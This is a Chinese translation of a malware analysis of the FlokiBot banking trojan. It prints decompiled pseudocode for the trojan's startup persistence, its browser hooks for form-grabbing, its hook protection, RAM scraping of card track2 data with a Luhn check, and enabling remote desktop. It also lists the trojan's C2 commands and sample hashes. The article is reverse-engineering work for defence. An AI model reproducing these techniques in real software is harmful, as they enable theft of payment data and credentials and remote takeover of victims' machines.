查看原文
其他

FlokiBot 银行木马详细分析 (二)

2017-03-28 lumou 看雪学院

✿ 用 IDAPython 完全静态去混淆

→ 鉴别函数

首先,我们注意到 dropper 重用了一些 payload 的重要函数。创造该 dropper 的一个 并在 payload 中加载它能够 IDA 让识别并重命名少部分函数。

✿ API 调用和钩子的静态去混淆

思路是用 Python 重新实现哈希过程,哈希所有被 FlokiBot 加载的所有 API,然后将他们和我们用代码收集到的哈希值进行比较。如果匹配,我们就用 IDAPython 重命名该函数,使得反汇编更具可读性。因为 payload 用的是同样的 CRC 函数和同样的异或密钥,所以这个脚本对它们都管用。

→ 字符串去混淆

跟 ZeuS 和 Fobber(Tinaba 的进化版)一样,很多字符串都用它们自己的一字节的密钥异或加密了。恶意软件将所有的 ENCRYPTED_STRING 存储在一个数组中,并将在传输过程中通过下标去混淆。加密过的字符串将以下面的数据结构展现:

typedef struct {

  char xor_key;

  WORD size;

  void* strEncrypted;

} ENCRYPTED_STRING;

首先,为弄明白如何没有错误的检索出它们,我会运行一段代码罗列 decrypt_string  的参数是如何入栈的。

运行完我们的脚本后,这里有一个在 IDA 中反汇编后的样本:


→ 完整的 IDAPython 脚本

这是我用来去混淆该 payload 的完整的 Python 脚本:.  

它基于 IDAPython 和 PeFile。它专为静态分析设计,你不用开启任何 debugger 来让这段程序工作。它将完成以下的工作:

  • 明确bot引入的所有函数并以[API name]_wrap 的格式重命名它们。

  • 解析WINAPIHOOK 结构并以hook_[API name] 的格式重命名钩子函数。

  • 解密字符串并将解密后的值放在解密字符串函数调用处的注释中。

# coding: utf-8

# ====================================================== #

#                                                        #

#      FLOKIBOT BOT32 DEOBFUSCATION IDA SCRIPT           #

#                                                        #

#       http://adelmas.com/blog/flokibot.php             #

#                                                        #

# ====================================================== #

# IDAPython script to deobfuscate statically the bot32 payload of the banking malware FlokiBot. 

# Imports are fully resolved, hooks are identified and named and strings are decrypted and added in comments, without using any debugger. 

# May take a few minutes to resolve imports. 

# Works with FlokiBot dropper with some small changes.

import sys

# sys.path.append("/usr/local/lib/python2.7/dist-packages")

# idaapi.enable_extlang_python(True)

import pefile

# RunPlugin("python", 3)

CRC_POLY   = 0xEDB88320   # Depending on sample

XOR_KEY    = 0x34ED  # Depending on sample

ARRAY_ADDR  = 0x41B350    # Depending on sample

ARRAY_ITER     = 12      # Size of a triplet (3*sizeof(DWORD))

i = 0

# ----------------------------------------------------

......(代码省略)


持久性

bot 用一个伪随机名字把自己复制到 C:\Documents and Settings\[username]\Application Data 并通过在 Windows 的启动文件夹创建一个 .lnk 来获得持久性。

int startup_lnk() {

  int v0; // edi@1

  _WORD *v1; // ecx@1

  int v2; // eax@2

  _WORD *v3; // ecx@2

  const void *v4; // eax@2

  const void *v5; // esi@3

  int strStartupFolder; // [sp+8h] [bp-20Ch]@1

  int v8; // [sp+210h] [bp-4h]@6

  v0 = 0;

  SHGetFolderPathW_wrap(0, 7, 0, 0, &strStartupFolder); // 7 = CSIDL_STARTUP

  v1 = (_WORD *)PathFindFileNameW_wrap(&pFilename);

  if ( v1 && (v2 = cstm_strlen(v1), sub_40FECB(v2 - 4, v3), v4) )

    v5 = v4;

  else

    v5 = 0;

  if ( v5 ) {

    v8 = 0;

    if ( build_lnk((int)&v8, (const char *)L"%s\\%s.lnk", &strStartupFolder, v5) > 0 )

      v0 = v8;

    cstm_FreeHeap(v5);

  }

  return v0;

}


✿ 挂钩API

→ 概述

基于ZeuS,FlokiBot 用了同一种但又有些许不同的结构数组来存储它的钩子:

typedef struct

{

  void *functionForHook;

  void *hookerFunction;

  void *originalFunction;

  DWORD originalFunctionSize;

  DWORD dllHash;

  DWORD apiHash;

} HOOKWINAPI;

在我们运行完前面用来去混淆 API 调用的脚本,以及定位好钩子结构数组之后,我们就可以很轻易的用其他的 IDA 脚本来解析它,以确定和命名钩子函数(hook_* )。我们最后得到下面的表格:

Parsing hook table @ 0x41B000... Original Function Hooked          Hooker Function                         DLL Hash              API Hash ------------------------------------------------------------------------------------------------------------- NtProtectVirtualMemory_wrap       hook_NtProtectVirtualMemory_wrap        84C06AAD (ntdll)                    5C2D2E7A NtResumeThread_wrap               hook_NtResumeThread_wrap                84C06AAD (ntdll)            6273819F LdrLoadDll_wrap                   hook_LdrLoadDll_wrap                    84C06AAD (ntdll)        18364D1F NtQueryVirtualMemory_wrap         hook_NtQueryVirtualMemory_wrap          84C06AAD (ntdll)                  03F6C761 NtFreeVirtualMemory_wrap          hook_NtFreeVirtualMemory_wrap           84C06AAD (ntdll)                 E9D6FAB3 NtAllocateVirtualMemory_wrap      hook_NtAllocateVirtualMemory_wrap       84C06AAD

......代码省略

它们中的大多数都有安装在 ZeuS 和其他银行恶意软件中。尽管如此,我们还是能够注意到 NtFreeVirtualMemory 和 NtProtectVirtualMemory 的一些有趣的、新的钩子。我们将在下一部分看到它们的用途。

→ 浏览器中间人(Man-in-the-Browser)

Floki 通过把自己注入到 Firefox 和 Chrome 进程中并拦截 LdrLoadDll 来实现浏览器中间人攻击。如果浏览器加载的 DLL 的哈希值和 nss3.dll, nspr4.dll 或 chrome.dll 任一个的哈希值匹配,API 钩子就会自动安装,让恶意软件可以实现表单抓取和网站注入。

int __stdcall hook_LdrLoadDll_wrap(int PathToFile, int Flags, int ModuleFileName, int *ModuleHandle)

{

  int result; // eax@2

  int filename_len; // eax@8

  int dll_hash; // eax@8

[...]

  if ( cstm_WaitForSingleObject() ) {

    v5 = LdrGetDllHandle_wrap(PathToFile, 0, ModuleFileName, ModuleHandle);

    v6 = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);

    v12 = v6;

    if ( v5 < 0 && v6 >= 0 && ModuleHandle && *ModuleHandle && ModuleFileName )

    {

      RtlEnterCriticalSection_wrap(&unk_41D9F4);

      filename_len = cstm_strlen(*(_WORD **)(ModuleFileName + 4));

      dll_hash = hash_filename(filename_len, v8);

      if ( !(dword_41DA0C & 1) ) {

        if ( dll_hash == 0x2C2B3C88 || dll_hash == 0x948B9CAB ) { // hash nss3.dll & nspr4.dll

          sub_416DBD(*ModuleHandle, dll_hash);

          if ( dword_41DC2C )

            v11 = setNspr4Hooks(v10, dword_41DC2C);

        }

        else if ( dll_hash == 0xCAAD3C25 ) {     // hash chrome.dll

          if ( byte_41B2CC ) {

            if ( setChromeHooks() )

              dword_41DA0C |= 2u;

          }

[...]

  }

  else

  {

    result = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);

  }

  return result;

}


→ 证书窃取

通过挂钩 PFXImportCertStore ,FlokiBot 可以窃取数字证书。此法 Zeus 和 Carberp 也有用到。

→ 保护钩子

FlokiBot 通过放置一个钩子和过滤 NtProtectVirtualMemory 调用来保护它的钩子,以防止它们被累死杀毒软件复位到原函数中。无论何时,当一个程序想要改变Floki已经注入的进程的内存保护机制的时候,Floki会阻断该调用并返回STATUS_ACCESS_DENIED.

unsigned int __stdcall hook_NtProtectVirtualMemory_wrap(void *ProcessHandle, int *BaseAddress, int NumberOfBytesToProtect, int NewAccessProtection, int OldAccessProtection)

{

  int retBaseAddress; // [sp+18h] [bp+Ch]@7

[...]

  v11 = 0;

  v5 = BaseAddress;

  if ( cstm_WaitForSingleObject() && BaseAddress && ProcessHandle == GetCurrentProcess() )

  {

    if ( check_base_addr(*BaseAddress) )

      return 0xC0000022;                        // STATUS_ACCESS_DENIED

    RtlEnterCriticalSection_wrap(&unk_41E6E8);

    v11 = 1;

  }

  retBaseAddress = NtProtectVirtualMemory_wrap(

                   ProcessHandle,

                   BaseAddress,

                   NumberOfBytesToProtect,

                   NewAccessProtection,

                   OldAccessProtection);

[...]

LABEL_18:

  if ( v11 )

    RtlLeaveCriticalSection_wrap(&unk_41E6E8);

  return retBaseAddress;

}

→ PoS恶意软件特征:内存截取

在我的前一篇文章中,我逆向了一款非常基础的叫做 TreasureHunter 的 PoS 恶意软件。它主要用内存截取为主要手段来窃取主账号(PAN)。

像大多数PoS恶意软件,FlokiBot 通过定期读取进程内存来搜索 track2 PAN 。显然,这并不是很有效,因为你不能时刻监测内存,这样就会漏掉很多潜在的 PAN。为克服这个问题,在 Floki 把自己注入到某一个进程后,它会放置一个钩子到 NtFreeVirtualMemory 中,这样当该进程想要释放一大块内存的时候它就可以提前搜寻 track2 PAN 。用这种方法,它就不太可能会错失PAN.

int __stdcall hook_NtFreeVirtualMemory_wrap(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType)

{

  PVOID v4; // ebx@1

  int v5; // edi@3

  RtlEnterCriticalSection_wrap(&unk_41E6E8);

  v4 = 0;

  if ( BaseAddress )

    v4 = *BaseAddress;

  v5 = NtFreeVirtualMemory_wrap(ProcessHandle, BaseAddress, RegionSize, FreeType);

  if ( v5 >= 0 && !dword_41E6A8 && ProcessHandle == (HANDLE)-1 && cstm_WaitForSingleObject() )

    trigger_ram_scraping((int)v4);

  RtlLeaveCriticalSection_wrap(&unk_41E6E8);

  return v5;

}

当 Floki 发现 track2 数据,它就会通过查看 PAN 的开头来确定发行方。在这个饱含信息量的网页,你可以找到一系列发行方的识别号:

.   

Floki 并没有查看整个IIN (6 位),而是只检查了第一位看它是否符合下面的发行方:

  • 3: Amex / Dinners / JP

  • 4:VISA

  • 5:Mastercard

  • 6: Discover

FlokiBot identify_mii 流程:


然后,它根据 Luhn 算法查看 PAN 是否有效:

char __usercall check_mii_luhn@<al>(void *a1@<ecx>, _BYTE *a2@<esi>)

{

  char result; // al@1

  [...]

  result = identify_mii(*a2, a1);

  if ( result )

  {

    v7 = 0;    v3 = 1;    v8 = 2;

    v9 = 4;    v10 = 6;    v11 = 8;

    v12 = 1;    v13 = 3;    v14 = 5;

    v15 = 7;    v16 = 9;    v4 = 0;    v5 = 16;

    do    // Luhn Algorithm

    {

      v6 = a2[--v5] - '0';

      if ( !v3 )

        v6 = *(&v7 + v6);

      v4 += v6;

      v3 = v3 == 0;

    }

    while ( v5 );

    result = v4 % 10 == 0;

  }

  return result;

}

→ 通讯

通讯是用 RC4 和异或混合加密的。我们用来去混淆字符串的代码可以帮我们识别下面这些明确命名的命令行:

user_flashplayer_remove user_flashplayer_get user_homepage_setuser_url_unblock user_url_block user_certs_remove user_certs_get user_cookies_remove user_cookies_get user_execute user_logoff user_destroy fs_search_remove fs_search_add fs_path_get bot_ddos_stop bot_ddos_start bot_httpinject_enablebot_httpinject_disablebot_bc_remove bot_bc_add bot_update_exe bot_update bot_uninstall os_reboot os_shutdown

现在  FlokiBot 还没有只是 TOR,但你可以在代码中找到这个特征的一些痕迹。

→ 激活远程桌面协议(RDP)

这个 payload 想要通过寄存器来手动激活远程 Windows 桌面,然后执行控制台命令行添加一个隐形的管理员账号 test_account:test_password 。

enable_remote_desktop 函数的伪码:

void enable_remote_desktop()

{

  signed int v0; // eax@3

  int v1; // [sp+0h] [bp-Ch]@2

  int v2; // [sp+4h] [bp-8h]@2

  int v3; // [sp+8h] [bp-4h]@2

  if ( byte_41E43C ) {

    v2 = 0;

    v1 = 4;

    v3 = 0x80000002;

    if ( RegOpenKeyExW_wrap(0x80000002, L"SYSTEM\\CurrentControlSet\\Control\\Terminal Server", 0, 1, &v3) )

      v0 = -1;

    else

      v0 = cstm_RegQueryValueExW(&v3, (int)L"fDenyTSConnections", (int)&v1, (int)&v2, 4);

    if ( v0 != -1 ) {

      if ( v2 ) {

        v3 = 0;                                 // 0 = Enables remote desktop connections

        cstm_RegSetValueExW(

          0x80000002,

          (int)L"SYSTEM\\CurrentControlSet\\Control\\Terminal Server",

          (int)L"fDenyTSConnections",

          4,

          (int)&v3,

          4);

      }

    }

  }

}

自从 ATS 这种方式因为太复杂而不能编程以及太难部署后,使用远程桌面进行网络犯罪成为了新的方式。通过这种方式,它们可以获取被感染的电脑的所有权限,从而获得目标的信息,并执行欺诈任务,例如手动转移钱财。

✿ 最后需要注意的和哈希值

FlokiBot 是又一基于 ZeuS 的恶意软件,有些代码甚至是直接从 Carberp 拿来的。虽然如此,它的解除挂钩操作和 PoS 恶意软件特征都很有趣,值得分析。而且,它的混淆技术很简单,可以不用 AppCall,只用 IDA 脚本就可以进行静态分析。

针对最近的 FlokiBot 样本,  上传了了下面这些 SHA256.

23E8B7D0F9C7391825677C3F13FD2642885F6134636E475A3924BA5BDD1D4852 997841515222dbfa65d1aea79e9e6a89a0142819eaeec3467c31fa169e57076a f778ca5942d3b762367be1fd85cf7add557d26794fad187c4511b3318aff5cfd......省略

感谢阅读。

点击左下角“阅读原文”,查看完整代码~

本文由 看雪翻译小组 lumou 编译,来源 Arnaud Delmas


❤ 往期热门内容推荐



更多优秀文章,长按下方二维码,“关注看雪学院公众号”查看!


看雪论坛:http://bbs.pediy.com/

微信公众号 ID:ikanxue

微博:看雪安全

投稿、合作:www.kanxue.com

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存